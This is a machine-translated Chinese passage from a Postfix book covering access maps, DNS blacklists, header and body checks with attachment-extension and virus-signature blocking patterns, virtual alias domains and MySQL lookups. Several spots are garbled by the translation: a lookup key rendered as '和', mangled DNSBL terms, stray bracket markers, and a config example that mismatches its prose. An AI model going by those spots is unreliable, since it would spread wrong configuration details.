hash:/etc/postfix/client_access - -``` - -虽然不是一个详尽的列表,但以下是使用访问映射的最重要的限制: - - -| - -限制的名字 - - | - -查找关键 - - | -| --- | --- | -| `check_client_access` | 客户端 IP 地址和主机名。 | -| `check_sender_access` | 发送方地址。 | -| `check_sender_mx_access` | 发件人域的邮件交换器的主机名,这是 MX 查找的结果。 这个特性是在 Postfix 2.1 中添加的。 | -| `check_sender_ns_access` | 发送方域的名称服务器的主机名,这是 NS 查找的结果。 这个特性是在 Postfix 2.1 中添加的。 | -| `check_recipient_access` | 收件人地址。 | -| `check_helo_access` | 主机名 `HELO/EHLO`。 | - -对于除 `regexp`和 `pcre`以外的所有查找表类型,Postfix 对每个这些限制进行多次查找,这稍微取决于要查找的数据类型(例如电子邮件地址或主机名)。 这使得不精确的通配符匹配成为可能,例如匹配一个域中的所有电子邮件地址。 - -`check_client_access`,Postfix 使单独的客户机的 IP 地址,查找客户端主机名和 IP 地址的部分地区,后者使匹配整个 A - B -,或丙类网络(整整更好的粒度和 CIDR 标记使用 `cidr`查找表类型)。 对于地址为 1.2.3.4 且主机名为 `mail.example.com`的客户端,将尝试以下查找键,顺序如下: - -* mail.example.com -* example.com -* 和 -* 为 1.2.3.4 -* 1.2.3 -* 1.2 -* 1 - -第 2 项和第 3 项假设使用了 `parent_domain_matches_subdomains`参数的默认值。 Postfix 作者已经指出这种行为在未来可能会改变。 - -对于查找键为电子邮件地址的限制,例如 `check_sender_access`,Postfix 将查找整个电子邮件地址,只查找域部分,然后是本地部分和@。 然后,电子邮件地址 `user@example.com`的完整查询列表变为: - -1. `user@example.com` -2. `example.com` -3. `com` -4. `user@` - -同样,第 2 项和第 3 项假设默认值为 `parent_domain_matches_subdomains`。 - -为了简洁起见,这些列表中省略了对包含收件人分隔符的 IPv6 地址和电子邮件地址的查找。 - -对于给定的查找键,可以识别以下结果(这也不是详尽的列表)。 - - -| - -结果 - - | - -描述 - - | -| --- | --- | -| `OK` | 允许请求。 | -| `REJECT [optional text]` | 使用永久错误码和指定的错误消息或通用消息拒绝请求。 | -| `DUNNO` | 假装没有找到查找键,不要继续使用其他查找键。 例如,如果查找 `user@example.com`返回 `DUNNO`,那么 Postfix 将不会像正常情况那样查找 `example.com`或 `user@`。 | -| `DISCARD [optional text]` | 如果消息最终被接受,它将被丢弃而不被传递。 | -| `HOLD [optional text]` | 将消息放入保持队列中。 被保留的消息将不会被传递,并且可以用 `postcat`程序检查,然后释放或删除。 这可以用作隔离可能不需要的邮件的一种简单方法。 | -| `REDIRECT email address` | 丢弃所有当前的邮件接收方,只将邮件发送到指定的地址。 这个特性是在 Postfix 2.1 中添加的。 | -| `PREPEND header: text` | 向消息中添加一个额外的头。 这个特性是在 Postfix 2.1 中添加的。 | -| `WARN [optional text]` | 在日志文件中放置一条警告消息。 这个特性是在 Postfix 2.1 中添加的。 | -| `restriction, restriction, …` | 应用一个或多个限制并使用它们的结果。 这里只允许不引用任何查找表的简单限制,除非使用限制类。 这些内容在本书中没有涉及,但是您可以在[http://www.postfix.org/RESTRICTION_CLASS_README.html](http://www.postfix.org/RESTRICTION_CLASS_README.html)上的*RESTRICTION_CLASS_README*文档中了解到。 | - -访问地图查找键和可能的结果值的完整文档可以在 `access(5)`手册页或[http://www.postfix.org/access.5.html](http://www.postfix.org/access.5.html)中找到。 - -### 访问地图示例 - -下面是一系列带有访问映射的示例,讨论如何单独使用访问映射,以及如何与其他限制一起使用访问映射,以形成具有相当表现力的策略: - -```sh -smtpd_client_restrictions = -check_client_access hash:/etc/postfix/client_access - -``` - -在第一个示例中,将根据 `hash-type`查找表 `/etc/postfix/client_access`进行查找。 这个文件不是由 Postfix 创建的,你可以给它取任何名字。 *查找表的部分中,我们回想一下, `hash-type`查找表只是文本文件的二进制文件(在本例中使用文件扩展名 `.db`)应由 `postmap`命令只要源文件发生变化。* - -```sh -postmap hash:/etc/postfix/client_access - -``` - -下面是一个示例 `client_access`文件: - -```sh -# Block RFC 1918 networks -10 REJECT RFC 1918 address not allowed here -192.168 REJECT RFC 1918 address not allowed here -# Known spammers -12.34.56.78 REJECT -evil-spammer.example.com REJECT - -``` - -这一切意味着什么? 前两个非注释行用于拒绝似乎从网络 `10.0.0.0/8`和 `192.168.0.0/16`连接的客户端。 这些都不是有效的 Internet 地址,因此没有合法的客户端将从这些地址连接。 拒绝将与错误信息 `RFC 1918`**地址不允许在这里**。 如果您自己的客户端有这样的 RFC 1918 地址,您需要在 `check_client_access`之前放置一个 `permit_mynetworks`限制。 否则你会拒绝你自己的客户。 - -```sh -smtpd_client_restrictions = -permit_mynetworks, -check_client_access hash:/etc/postfix/client_access - -``` - -索引访问映射支持八字节边界上的网络块匹配,但不支持 CIDR 表示法(如 `10.0.0.0/8)`)。 如果您需要使用 CIDR 表示法指定网络块,请考虑在 Postfix 2.1 及以后版本中可用的 `CIDR`查找表类型。 早期版本可以使用 Rahul Dhesi 的 `cidr2access`([http://www.rahul.net/dhesi/software/cidr2access](http://www.rahul.net/dhesi/software/cidr2access))这样的脚本,将 CIDR 块扩展为索引访问映射可接受的符号。 【5】 - -注意注释是如何用于解释为何以及何时添加条目的。 如果不止一个人维护文件,这可能是有价值的。 - -最后几行用于匹配几个臭名昭著的垃圾邮件发送者(当然是虚构的),并说明完整的 IP 地址和主机名在这里都是可以接受的。 这些拒绝将与一个通用的错误消息。 - -下面是另一个例子: - -```sh -smtpd_sender_restrictions = -check_sender_access hash:/etc/postfix/sender_access - -``` - -`/etc/postfix/sender_access:`内容 - -```sh -hotmail.com reject_unknown_client -example.com permit_mynetworks, reject - -``` - -如果有人试图使用 `hotmail.com`发送地址发送消息,那么试图发送消息的客户端将受到 `reject_unknown_client`限制,您可能还记得,该限制拒绝在 IP 地址和主机名之间没有有效映射的客户端。 - -第二行示例了一个有用的策略,它允许来自您的网络的客户端在发送地址中使用您的域。 - -最后,如果你只在你的网络内部使用 Postfix,不需要允许其他任何人连接,以下两个限制强制执行这个策略: - -```sh -smtpd_recipient_restrictions = permit_mynetworks, reject - -``` - -### 实施新政策 - -在实现新策略时要小心。 Postfix 的一些限制对于一般使用来说过于严格,可能会拒绝大量的合法电子邮件。 对于计划实现的每个新限制,检查拒绝消息的条件,并尝试找出合法消息满足这些条件的情况。 为了帮助您确定一个限制是否可以安全使用,可以使用 `warn_if_reject`限制。 此限制影响限制列表中紧随其后的限制,如果下列限制应该导致拒绝,则它将转换为拒绝警告。 拒绝警告会在邮件日志中放置一行,但不会拒绝该消息。 - -例如,您可能希望评估 `reject_unknown_client`限制,因为你已经注意到,许多垃圾短信收到客户没有反向 DNS 指针,也就是说,没有从他们的 IP 地址映射到一个名称映射到 IP 地址。 - -这里有一种方法: - -```sh -smtpd_client_restrictions = warn_if_reject reject_unknown_client - -``` - -这将导致这样的日志消息: - -```sh -Dec 31 16:39:31 jeeves postfix/smtpd[28478]: NOQUEUE: reject_warning: RCPT from unknown[222.101.15.127]: 450 Client host rejected: cannot find your hostname, [222.101.15.127]; from= to= proto=SMTP helo=<222.101.15.127> - -``` - -此日志消息包含关于消息信封的所有已知信息,这应该足以让您判断消息是否合法。 几天后,检查您的邮件日志,并尝试确定可能被拒绝的不需要的消息和可能被拒绝的合法消息之间的比例是否可以接受。 - -有许多垃圾邮件对策具有良好的准确性,其中一些在本书中涵盖。 未来还会出现其他垃圾邮件,这取决于垃圾邮件发送者的行为。 在发明自己的方法从少量的垃圾邮件中识别垃圾邮件挑选特征并得出这些特征是好的垃圾邮件指示器的结论时,要非常小心,这是危险的,可能会导致合法电子邮件的丢失。 明智地选择,避免准确性低的方法。 不要忘记检查合法电子邮件,以确保它们不具有与垃圾邮件相关联的特征。 - -## 使用 DNS 黑名单 - -自 1997 年以来,**域名系统**(**DNS**)已被用于拦截垃圾邮件。 方法,**以域名系统黑洞列表****DNSBL**或【显示】实时黑洞列表(**家庭成员),也称为【病人】**或**黑名单过滤清单**,使用 DNS 对某些客户发布信息或发件人域。 当客户端与您自己的邮件服务器联系时,您的服务器可以将客户端的 IP 地址或给定的发送地址与一个或多个 DNSBLs 域结合起来,并执行 DNS 查找。 如果 DNSBL 列出了该地址,则查找成功,您的服务器可能会选择,例如,拒绝客户端。 【t16.1】 - -例如,假设您配置了 Postfix 来使用广泛使用的 `zen.spamhaus.org`黑名单。 如果一个地址为 1.2.3.4 的客户端连接,Postfix 将在 DNS 中查找地址 `4.3.2.1.zen.spamhaus.org`的 a 记录。 如果存在这样的记录,Postfix 将不接受来自客户机的消息。 - -Postfix 支持三种类型的 DNSBL 查找—客户端主机地址、客户端主机名和发送方域。 每种查找类型都有自己的限制,它们都要求您在限制名称之后指定 DNSBL 域的名称。 - - -| - -DNSBL 类型 - - | - -语法 - - | - -描述 - - | -| --- | --- | --- | -| 客户端主机地址 | `reject_rbl_client rbl_domain` | 找到正在连接的客户端的 IP 地址。 这是最原始也是最常见的 DNSBL 类型。 | -| 客户端主机名 | `reject_rhsbl_client rbl_domain` | 查找连接客户机的主机名。 | -| 发送方地址域 | `reject_rhsbl_sender rbl_domain` | 查找给定发送地址的域。 | - -您可以随意列出多个 DNSBL 限制。 确保您使用了与 DNSBL 类型相对应的限制—使用 `reject_rbl_client`与发送地址域 DNSBL 没有意义。 - -下面的代码展示了一种配置 Postfix 使用 `zen.spamhaus.org`标准类型的 DNSBL 和 `dsn.rfc-ignorant.org`发送域-DNSBL 的方法: - -```sh -smtpd_recipient_restrictions = -permit_mynetworks, -reject_unauth_destination, -reject_rbl_client relays.ordb.org, -reject_rhsbl_sender dsn.rfc-ignorant.org - -``` - -注意这些限制是如何在 `permit_mynetworks`和 `reject_unauth_destination`之后列出的。 这是因为 DNSBL 查找相对昂贵,而且没有必要为您自己的客户机或可能被拒绝的客户机浪费时间进行此类查找。 为了避免不必要的延迟,请确保列出阻止大多数消息的 DNSBL,这是 DNSBL 限制中的第一项。 - -### 选择 DNS 黑名单 - -开始时,DNSBLs 只列出了**打开的中继**,即接收所有客户端到所有目的地的所有消息的 SMTP 服务器。 开放中继曾经是垃圾邮件的主要来源,但这在最近几年发生了变化。 今天,许多垃圾邮件是从被劫持的无辜和不知情的人的家庭电脑中发送的。 - -不同的黑名单列出和删除主机的策略不同。 自然,黑名单越大,您可能拒绝的合法消息就越多。 在开始使用特定的 DNSBL 来拒绝消息之前,您应该仔细检查这些策略,最好在不实际拒绝任何消息的情况下也试用它们一段时间。 `warn_if_reject`限制可以帮助您做到这一点。 - -黑名单对一些人很有用,它拒绝了大量的垃圾邮件,但没有合法的消息,对其他人来说可能没有什么价值,实际上可能拒绝了比垃圾邮件更多的合法消息。 在选择黑名单时要非常小心,避免盲目地复制别人所谓的好的 DNSBLs 集合。 另一个谨慎的理由是,DNSBLs 有时会停止服务,因为它们不断受到垃圾邮件发送者的攻击,并被迫关闭。 这在 2006 年发生在著名的 `relays.ordb.org`DNSBL 上。 被关闭的黑名单可能在一段时间后被重新配置为始终指示黑名单中列出的 IP 地址,也就是说,如果配置为使用该黑名单,您将拒绝所有邮件。 - -目前,与 `reject_rbl_client is`一起使用的可能是最好的通用 DNSBL,即 `zen.spamhaus.org`。 误报率,即被错误拒绝的真实电子邮件的比例,可以预期是非常低的,而捕获垃圾邮件的准确性仍然很高。 除非您有特殊需要,否则这可能是您需要使用的唯一的 DNSBL。 - -在实现任何 DNSBL 之前,确保您知道如何免除某些客户端或域的拒绝。 无论您选择使用哪种 DNSBL,您迟早都会遇到合法消息被阻止的情况。 当这种情况发生时,就太晚了,不能开始深入研究文档,试图找出可以对此做些什么。 - -这个问题的解决方案是在 DNSBL 限制之前有白名单访问映射。 您应该使用哪种类型的访问映射取决于 DNSBL 类型,但在大多数情况下, `check_client_access`将是合适的,尽管如果您使用 `reject_rhsbl_sender`, `check_sender_access`更合适。 - -继续前面的例子,这是你可以做的,以免除某些客户和发送地址拒绝任何以下限制: - -```sh -smtpd_recipient_restrictions = -permit_mynetworks, -reject_unauth_destination, -check_client_access hash:/etc/postfix/rbl_client_exceptions, -check_sender_access hash:/etc/postfix/rhsbl_sender_exceptions, -reject_rbl_client zen.spamhaus.org, -reject_rhsbl_sender dsn.rfc-ignorant.org - -``` - -`/etc/postfix/rbl_client_exceptions:` - -```sh -# Added 2005-01-10 to avoid blocking legitimate mail. /jdoe -1.2.3.4 OK -example.net OK - -``` - -`/etc/postfix/rhsbl_client_exceptions:` - -```sh -mybusinesspartner.com OK - -``` - -## 基于内容停止消息 - -通常,不查看内容就无法发现不需要的消息。 Postfix 提供了一些简单但仍然非常有用的工具。 其思想是,消息中的行与您提供的一组正则表达式进行匹配,如果匹配,将执行一个操作。 这被称为**头检查**或**体检查**,这取决于正在检查的消息的哪一部分。 大多数情况下,您使用头和正文检查来拒绝消息,但消息也可能被丢弃或重定向到另一个收件人。 头和体检查可以帮助您解决以下问题,所有这些问题将在以下部分进行讨论: - -* 响应包含禁用文件名附件的消息 -* 快速阻止大型病毒爆发 -* 特定报头字段的自定义日志记录 -* 删除某些消息标题 - -对正则表达式的介绍超出了本书的范围。 如果你没有知识,有很多正则表达式在网上资源和教程,例如[http://www.codeproject.com/KB/dotnet/regextutorial.aspx http://gnosis.cx/publish/programming/regular_expressions.html](http://gnosis.cx/publish/programming/regular_expressions.html)和。 如果你正在找一本关于这个主题的书,Jeffrey E. F. Friedl 的《掌握正则表达式》(O'Reilly, 2006)是相当全面的。 - -### 配置头和体检查 - -头部和主体检查的 `main.cf`参数 `body_checks, header_checks, mime_header_checks`和 `nested_header_checks`-可以包含一个或多个对正则表达式查找表(`regexp`或 `pcre`)的引用,在接收消息时将考虑这些引用。 从技术上讲,您可以使用任何其他查找表类型,但只有正则表达式表才是真正有用的。 以下参数用于消息的不同部分: - - -| - -参数 - - | - -它所应用的部分信息 - - | -| --- | --- | -| `body_checks` | 每个消息部分的主体。 | -| `header_checks` | 所有非 mime 顶级头文件。 | -| `mime_header_checks` | 在任何消息部分中找到的所有 MIME 头。 以下头文件被认为是 MIME 头文件: - -* 内容描述 -* Content-Disposition -* 内容识别 -* Content-Transfer-Encoding -* 内容类型 -* MIME-Version - - | -| `nested_header_checks` | 附加到接收消息的消息中的所有非 mime 消息头。 | - -这意味着对于每个标题行,将针对 `header_checks`中指定的查找表进行查找,消息体中的每一行将导致针对 `body_checks`中的查找表进行查找,以此类推。 - -正则表达式查找表的格式与普通索引表非常相似。 一个很大的区别是它们没有被索引,不应该通过 `postmap`程序运行。 Postfix 会在守护进程重新启动时再次读取正则表达式查找表,在很多情况下这已经足够了。 如果希望立即更新,则必须重新加载 Postfix。 - -正则表达式查找表并不专门用于头和体检查。 它们可以在 Postfix 需要查找表的任何地方使用。 - -用于头和体检查的查找表的右边可以包含许多前面描述的访问映射中允许的操作,但是只有一个操作 `IGNORE`在这里可用。 `IGNORE`操作只是从消息中删除匹配的行。 - -以下示例中的消息头被包装成多个物理行,在用作查找键之前将被连接在一起。 - -```sh -Received: by jeeves.example.com (Postfix, from userid 100) -id 2BB044302; Sat, 1 Jan 2005 20:29:43 +0100 (CET) - -``` - -### 标题和正文检查示例 - -现在,让我们具体看看如何使用头和体检查。 除非特别说明,所有这些示例都可以同时使用 `regexp`和 `pcre`查找表类型。 - -许多计算机病毒通过电子邮件传播,大多数是通过附加在邮件上的程序或脚本传播的。 虽然对含有禁用文件名附件的消息的反应是一个迟钝和不精确的工具,但它是一个简单的方法来照顾这些不需要的消息,甚至在他们到达任何防病毒扫描仪之前。 通过避免大的开销扫描,您的服务器可以应对更大的病毒爆发。 没有一个完整的文件名列表可以被禁止,但是只要阻止 `.exe, .scr, .pif, .bat`,对大多数人来说,再多几个可能就足够了。 如果您的用户需要发送或接收带有这些文件名扩展名的文件,您可能需要稍微放宽策略。 要在 Postfix 中实现此功能,您需要识别附件的文件名在 Content-Disposition 或 Content-Type 头文件中。 这些是 MIME 头,因此表达式需要放在 `mime_header_checks`中。 在这个例子中,拒绝消息的文本指明了出错的文件名。 如果一个合法的邮件被拒绝,发件人将有希望能够解释错误消息并重新发送该消息。 - -```sh -/^Content-(Disposition|Type).*name\s*=\s*"?(.*\.( -ade|adp|bas|bat|chm|cmd|com|cpl|crt|dll|exe|hlp|hta| -inf|ins|isp|js|jse|lnk|mdb|mde|mdt|mdw|ms[cipt]|nws| -ops|pcd|pif|prf|reg|sc[frt]|sh[bsm]|swf| -vb[esx]?|vxd|ws[cfh]))(\?=)?"?\s*(;|$)/x -REJECT Attachment not allowed. Filename "$2" may not end with ".$3". - -``` - -注意除了第一行之外的所有行都有缩进。 需要将这些行处理为单个行。 在这方面,查找表的工作方式与 `main.cf`和 `master.cf`配置文件相同。 `/x`修饰符将导致忽略所有空白。 这个表达式最初由 Russell Mosemann 构造,并由 Noel Jones 进一步改进,它需要一个 `pcre`查找表,但是可以使用 `regexp`重写该表达式。 - -`body_checks`可以是快速阻止大病毒爆发的有用工具。 以前的许多病毒爆发都具有某些特征,使它们很容易被阻止。 如果文件名阻塞不是一个选项,您可以尝试查找这些消息的惟一行并构造合适的表达式。 - -```sh -/^Hi! How are you=3F$/ REJECT SirCam virus detected. -/^ I don't bite, weah!$/ REJECT Bagle.H virus detected. - -``` - -如果您不确定表达式是否太宽并捕获合法消息,您可以使用 `HOLD`或 `WARN`而不是 `REJECT. HOLD`将使消息处于暂停状态,允许您检查它们并释放或删除它们。 将接受消息但记录事件。 - -当一个新病毒刚刚开始传播,而你正在使用的杀毒软件还没有更新来捕获它时,这种阻止病毒的方法也很有用。 - -`WARN`操作还可以用于获取特定报头字段的自定义日志记录。 - -```sh -/^Subject: / WARN - -``` - -在 `header_checks`中使用此表达式将导致所有主题标题被记录为类似于这样的警告消息: - -```sh -Jan 2 00:59:51 jeeves postfix/cleanup[6715]: 6F8184302: warning: -header Subject: Re: Lunch? from local; from= -to= - -``` - -有时,删除某些消息头是很有用的。 例如,一些提供 SMTP 客户端的编程库向所有发送的消息添加一个 X-Library 头。 显然,许多垃圾邮件发送者使用这些库,因此 SpamAssassin 对包含此头的消息给予相当高的分数。 如果您需要使用这样的库,并且您不能或不愿修改源代码以避免在一开始就添加头文件,那么 Postfix 可以帮助您删除它。 这个 `header_checks`表达式将删除通过 Postfix 传递的消息中的所有 `X-Library`头: - -```sh -/^X-Library: / IGNORE - -``` - -### 注意事项 - -消息头和正文检查是检查消息内容的简单而生硬的工具。 它们在很多方面都很有用,但不要试图过度使用它们来对付一般目的的垃圾邮件。 许多人试图不正确地使用这些工具,而本书将试图消除一些常见的误解。 - -头和体检查一次只检查一行,并且在不同的行之间不保持状态。 这意味着您不能拒绝在消息的一行中包含一个坏词,在消息的其他地方包含另一个坏词的消息。 不要被正则表达式查找表中允许的 `if...endif`结构所愚弄! 你不能这样使用它们: - -```sh -if /^From: spammer@example\.com/ -/^Subject: Best mortgage rates/ REJECT -endif - -``` - -记住,每次查找一行。 显然,以 `From`开头的一行不可能以 `Subject`开头。 - -许多垃圾邮件的邮件正文采用**Base64**编码。 由于 Base64 的工作方式,一个单词有许多可能的 Base64 表示。 在将消息内容提供给消息头和消息体检查之前,Postfix 不执行任何解码。 - -这意味着使用 `body_checks`来阻止包含不良词汇的消息并不是普遍有效的。 如果 `body_checks`是您对抗垃圾邮件的唯一工具,那么您将每天花费几个小时来维护您的正则表达式,以便它们能够捕获当天的垃圾邮件,但您仍然无法获得较高的准确性。 - -消息头和正文检查适用于所有消息。 不能将特定的发送方或特定的客户端列入白名单。 如果您托管多个域,您可以通过运行多个 `cleanup`守护进程和多个 `smtpd`守护进程监听不同的 IP 地址来选择对您的托管域使用不同的头和体检查,或者您可以运行多个 Postfix 实例。 后者意味着您有多个队列目录和多个 Postfix 副本同时运行。 这对于一些复杂的设置是必需的,但实际上可以简化单个实例的设置。 - -您不能使用头和正文检查来检查不存在某些内容,因此您不能拒绝正文为空的消息或不包含秘密密码的消息。 - -在 `body_checks`中拥有大量的正则表达式不仅是维护的梦魇,还可能严重降低服务器的性能。 一个合理的配置不应该需要超过 10 20 个表达式。 如果有太多的表达式,Postfix 的 `cleanup`进程将占用大量的 CPU 时间。 - -# 虚拟别名域和本地别名 - -在本节中,将讨论 Postfix 用于地址重写的一些特性,以允许托管多个域和实现组地址(或分布列表)。 - -此外,本节还将介绍如何使用 Postfix 在 MySQL 数据库中查找信息。 本练习的目标是使用 MySQL 查找进行别名查找,但是您所获得的知识将适用于您可能希望同时使用 MySQL 和 Postfix 的所有其他情况。 假设您具有基本的 SQL 知识,并且能够设置和操作 MySQL 服务器。 - -## 虚拟别名域 - -正如前面所解释的,即使您可以有几个本地域(在 `mydestination`中列出了几个域),它们始终是等效的—它们共享单个本地部分名称空间。 换句话说, `joe@localdomain1.com`等于 `joe@localdomain2.com`等于 `joe@localdomain3.com`。 显然,这还不够好。 为了承载具有不同局部名称空间的多个域,您需要虚拟别名域。 - -### 注意事项 - -虚拟别名域**是一个域,其中每个有效地址都映射到一个或多个其他电子邮件地址(可能在其他域中)。 将其与本地域进行比较,在本地域中,地址通常直接映射到 UNIX 系统帐户。 `joe@virtualdomain1`和 `joe@virtualdomain2`可以产生完全不同的邮箱。** - -虚拟别名域有时被称为虚拟域,但为了避免与虚拟邮箱域混淆,虚拟邮箱域有时也被称为虚拟域,这里使用完整的术语。 - -为了展示虚拟别名域在 Postfix 中是如何工作的,让我们回到 Example Inc.的朋友那里,看看他们如何通过使用虚拟别名域来增强邮件系统。 - -### 多个虚拟别名域映射到一个本地域 - -Example Inc.的董事现在已经显著扩展了他们的业务,并希望为他们的分支机构拥有子域名,以避免在不同办公室的两个人共享相同的名称时发生名称冲突。 对于它们在伦敦、巴黎和柏林的办公室,它们希望分别使用域 `gb.example.com, fr.example.com`和 `de.example.com`。 它们有一个单一的 Postfix 服务器来接收所有消息。 - -Example Inc 问题的解决方案是让 `gb.example.com, fr.example.com`和 `de.example.com`都是虚拟别名域。 原来的 `example.com`域应该仍然是一个局部域。 Postfix 在 `virtual_alias_domains`参数中查找虚拟别名域。 - -```sh -virtual_alias_domains = gb.example.com, fr.example.com, de.example.com - -``` - -确保您没有在 `mydestination`中列出任何这些域名。 下一步是告诉 Postfix 虚拟别名域中的哪些地址映射到 `example.com`域中的哪些地址。 这是通过在 `virtual_alias_maps`参数中指定一个或多个查找表来实现的。 对于初学者,Example Inc.将只使用一个简单的 `hash`类型的查找表。 当事情按照我们期望的那样工作时,它们将创建一个等效的配置,在 MySQL 数据库中查找数据。 - -```sh -virtual_alias_maps = hash:/etc/postfix/virtual - -``` - -现在,Postfix 将使用他们放入 `/etc/postfix/virtual`中的虚拟别名。 虚拟别名查找表的格式非常简单; 收信人地址是查找键,而收信人地址应该改写的地址/地址是结果。 - -```sh -joe@gb.example.com joe1@example.com -joe@de.example.com joe2@example.com -jane@fr.example.com jane@example.com - -``` - -在编辑完 `/etc/postfix/virtual`文件后,必须运行 `postmap`才能将文件转换为 `/etc/postfix/virtual.db`。 - -```sh -$ postmap /etc/postfix/virtual - -``` - -虚拟别名查找表的格式请参见 `virtual(5)`手册。 - -在上面的示例中,所有消息 `joe@gb.example.com`将最终用户的邮箱“joe1”,所有消息 `joe@de.example.com`将会在用户的邮箱“joe2”,和所有消息 `jane@fr.example.com`将最终用户的邮箱“简”。 注意,引入虚拟别名域不会导致原始本地域停止接受消息。 - -Jane 和我们的两个 joe 也将收到发送到他们实际用户名 `example.com`的消息。 (joe1@example.com, `joe2@example.com`, `jane@example.com`)。 如果不希望这样,可以使用 `smtpd_recipient_restrictions`和 `check_recipient_access`拒绝向这些收件人发送消息的尝试。 将此限制添加到 `main.cf:`中的 `smtpd_recipient_restrictions`设置中(如果有的话) - -```sh -smtpd_recipient_restrictions = -... -check_recipient_access hash:/etc/postfix/recipient_access -... - -``` - -然后将以下内容放入 `/etc/postfix/recipient_access`,并在文件上运行 `postmap`: - -```sh -example.com REJECT Email to this domain prohibited - -``` - -### 一个虚拟别名域映射到多个本地域 - -在运行前面的设置一段时间后,Example Inc.的员工决定返回到旧的设置,为所有员工使用单个域。 可以通过在地址中包含用户的姓氏来解决名称冲突。 他们还希望每个分支机构都有一个邮件服务器,以避免用户访问他们的邮箱时出现延迟和网络负载。 所有伦敦用户的帐户都将驻留在伦敦服务器上,巴黎用户的帐户位于巴黎服务器上,柏林用户的帐户位于柏林服务器上。 这个问题让我们有机会研究使用虚拟别名域的不同方法。 - -这个设置的思想是, `example.com`将是虚拟域,每个 Postfix 服务器将有自己的本地域。 伦敦办公室的服务器将 `gb.example.com`列为本地域。 虚拟别名将用于从 `example.com`地址映射到特定于办公室的子域。 这种映射可以只在主服务器上进行,也可以在每个分支机构的服务器上进行。 拥有单个主服务器会带来在服务器之间同步数据的问题,但这个问题可以通过将数据存储在关系数据库中轻松解决。 如何使用 MySQL 进行别名查找将在本章后面的*介绍 MySQL 查找*一节中讨论。 - -要实现此功能,首先从 `mydestination`中删除 `example.com`,然后将其添加到 `virtual_alias_domains`中。 这需要在所有服务器上执行。 分支机构服务器—其中一个很容易成为主服务器—应该在 `mydestination`中列出它们自己的域(`gb.example.com`等等)。 不要忘记设置 DNS 服务器,以便将发送到分支机构域的消息路由到分支机构服务器。 最后,虚拟别名表应该是这样的: - -```sh -joe.smith@example.com joe1@gb.example.com -joe.schmidt@example.com joe2@de.example.com -jane.doe@example.com jane@fr.example.com - -``` - -这个问题说明了一个重要的问题; 虚拟别名表右边的 address/addresses 不一定是本地的。 任何域都可以放在那里。 这是主服务器收到一封到 `joe.smith@example.com:`的邮件时发生的情况。 - -1. Postfix 在 `virtual_alias_domains`中查看 `example.com`是否为虚拟别名域,结果是肯定的。 -2. 接下来,在 `virtual_alias_maps`中查找 `joe.smith@example.com`。 查找返回 `joe1@gb.example.com`。 -3. 主服务器上的 Postfix 确定 `gb.example.com`不是它所托管的域,并使用 DNS 解析消息的目的地,最后将其发送到伦敦分支机构服务器。 - -### 组地址 - -第三个也是最后一个虚拟别名示例只说明虚拟别名表的右边可能包含几个地址,这些地址可能是其他别名的名称,而不是实际的帐户名称。 - -```sh -all@example.com managers@example.com,finance@example.com -managers@example.com joe.smith@example.com,joe.schmidt@example.com -finance@example.com jane.doe@example.com,jack.black@example.com - -``` - -在本例中,发送给 `all@example.com`的消息将被发送给所有管理人员和所有财务人员,这依次意味着 Joe Smith、Joe Schmidt、Jane Doe 和 Jack Black。 - -让任何人向大型分发列表发送消息可能是不可取的。 幸运的是,可以使用 Postfix 的 SMTP 限制来限制对敏感地址的访问。 如果只允许您自己的用户( `mynetworks`内的客户机)向某个地址发送消息,解决方案非常简单。 在 `main.cf`中,使用 `check_recipient_access`限制禁止访问该地址,但使用 `permit_mynetworks`豁免您自己的客户端。 - -```sh -smtpd_recipient_restrictions = -permit_mynetworks, -check_recipient_access hash:/etc/postfix/restricted_recipients, -reject_unauth_destination - -``` - -如果您已经在 `main.cf`中使用了 `smtpd_recipient_restrictions`,那么您将不得不修改该参数,而不仅仅是添加上面示例中列出的内容。 关键特性是在 `permit_mynetworks`限制之后列出 `check_recipient_access`限制。 - -`/etc/postfix/restricted_recipients:`内容 - -```sh -all@example.com REJECT - -``` - -在更复杂的场景中,比如当您想要禁止除少数发送地址或客户端外的所有收件人地址时,您可能需要使用 Postfix 的限制类特性。 在 `RESTRICTION_CLASS_README`([http://www.postfix.org/RESTRICTION_CLASS_README.html](http://www.postfix.org/RESTRICTION_CLASS_README.html))中描述了它,并为这种特殊情况提供了一个示例。 - -### 介绍 MySQL 查找 - -如果您的组织很大,维护带有别名的平面文本文件可能会很乏味。 将数据存储在真实的数据库中有很多好处——许多用户可以同时编辑数据,用户自己可以通过 web 界面执行一些任务,数据可以通过网络轻松共享,等等。 - -Postfix 支持查找许多复杂的*查找表类型中的数据。 其中包括 MySQL、PostgreSQL 和 LDAP。 它之所以*复杂*,并不是因为它的设置非常困难,而是因为有更多的东西可能出错,而且简单的索引文件(`hash, dbm, btree, cdb`)更容易得到正确的结果。 如果您想用查找表解决问题,请始终从索引文件开始。 当您了解了这些东西的工作原理和工作方式后,请尝试将相同的想法转换为复杂的查找表类型。 【5】* - - *Postfix 不要求您遵循某些特定的数据库模式。 对于使用 MySQL 的每个查找表,您可以使用一个单独的配置,无论您选择使用什么模式(或多或少,当前版本的 Postfix 不完全允许任意 MySQL 查询),都可以返回所需的结果。 每个配置都存储在一个单独的文件中,该文件可能具有限制性权限,因为它们包含数据库密码。 要使用 MySQL 查找虚拟别名,在 `main.cf`中设置如下: - -```sh -virtual_alias_maps = mysql:/etc/postfix/mysql-virtual.cf - -``` - -配置文件遵循与 `main.cf`相同的格式,并包含进行查找所需的所有信息——在本例中是虚拟别名查找。 下表描述了可以放入配置文件中的参数。 这些参数将用于构造 `SELECT`查询。 在 Postfix 2.1 及以后版本中,这些配置文件的格式可以在 `mysql_table(5)`手册页中找到。 - - -| - -参数 - - | - -描述 - - | -| --- | --- | -| `hosts` | Postfix 将联系来执行查询的 MySQL 主机列表。 可以包含 IP 地址、主机名,或者在前缀为 `unix:`时,包含到本地 UNIX 域套接字的路径。 如果您指定多个主机,它们将以随机顺序尝试。 将首先尝试任何 UNIX 域套接字主机。 | -| `user` | 应该用来登录 MySQL 服务器的用户名。 | -| `password` | MySQL 服务器的登录密码。 | -| `dbname` | 要使用的数据库的名称。 | -| `select_field` | 将从中获取查找结果的列的名称。 | -| `table` | 将搜索数据的表。 | -| `where_field` | 将与查找键进行比较的表列。 | -| `additional_conditions` | 如果需要在构造的查询的末尾附加一些附加条件,可以将它们放在这里。 | -| `query` | 要执行的 SQL 查询,其中 `%s`是要查找的字符串的占位符。 该参数与 `select_field, table, where_field`、 `additional_conditions`互斥。 该参数在 Postfix 2.2 中被引入,是配置 MySQL 查询的推荐方式。 | - -让我们从一个简单的例子开始。 您有一个包含两列的表别名—— `alias`和 